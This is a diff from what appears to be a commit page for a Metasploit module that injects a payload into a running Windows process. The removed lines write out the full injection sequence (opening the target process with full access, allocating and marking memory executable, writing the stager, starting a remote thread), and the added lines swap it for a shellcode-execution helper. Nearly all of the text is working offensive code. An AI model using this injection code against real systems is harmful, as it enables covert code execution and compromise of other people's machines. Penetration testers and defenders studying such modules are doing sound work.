10
10
class Metasploit3 < Msf ::Exploit ::Local
11
11
Rank = ExcellentRanking
12
12
13
+ include Msf ::Post ::Windows ::Process
14
+
13
15
def initialize ( info = { } )
14
16
super ( update_info ( info ,
15
17
'Name' => 'Windows Manage Memory Payload Injection' ,
@@ -52,13 +54,7 @@ def exploit
52
54
return
53
55
end
54
56
55
- if @payload_arch . first =~ /64/ and client . platform =~ /x86/
56
- print_error ( "You are trying to inject to a x64 process from a x86 version of Meterpreter." )
57
- print_error ( "Migrate to an x64 process and try again." )
58
- return false
59
- else
60
- inject_into_pid ( pid )
61
- end
57
+ inject_into_pid ( pid )
62
58
end
63
59
64
60
# Figures out which PID to inject to
@@ -83,8 +79,6 @@ def has_pid?(pid)
83
79
return false
84
80
end
85
81
86
- pids = [ ]
87
-
88
82
procs . each do |p |
89
83
found_pid = p [ 'pid' ]
90
84
return true if found_pid == pid
@@ -144,27 +138,8 @@ def inject_into_pid(pid)
144
138
145
139
begin
146
140
print_status ( "Preparing '#{ @payload_name } ' for PID #{ pid } " )
147
- raw = payload . generate
148
-
149
- print_status ( "Opening process #{ pid . to_s } " )
150
- host_process = client . sys . process . open ( pid . to_i , PROCESS_ALL_ACCESS )
151
- if not host_process
152
- print_error ( "Unable to open #{ pid . to_s } " )
153
- return
154
- end
155
-
156
- print_status ( "Allocating memory in procees #{ pid } " )
157
- mem = host_process . memory . allocate ( raw . length + ( raw . length % 1024 ) )
158
-
159
- # Ensure memory is set for execution
160
- host_process . memory . protect ( mem )
161
-
162
- print_status ( "Allocated memory at address #{ "0x%.8x" % mem } , for #{ raw . length } byte stager" )
163
- print_status ( "Writing the stager into memory..." )
164
- host_process . memory . write ( mem , raw )
165
- host_process . thread . create ( mem , 0 )
166
- print_good ( "Successfully injected payload in to process: #{ pid } " )
167
-
141
+ raw = payload . encoded
142
+ execute_shellcode ( raw , nil , pid )
168
143
rescue Rex ::Post ::Meterpreter ::RequestError => e
169
144
print_error ( "Unable to inject payload:" )
170
145
print_line ( e . to_s )
0 commit comments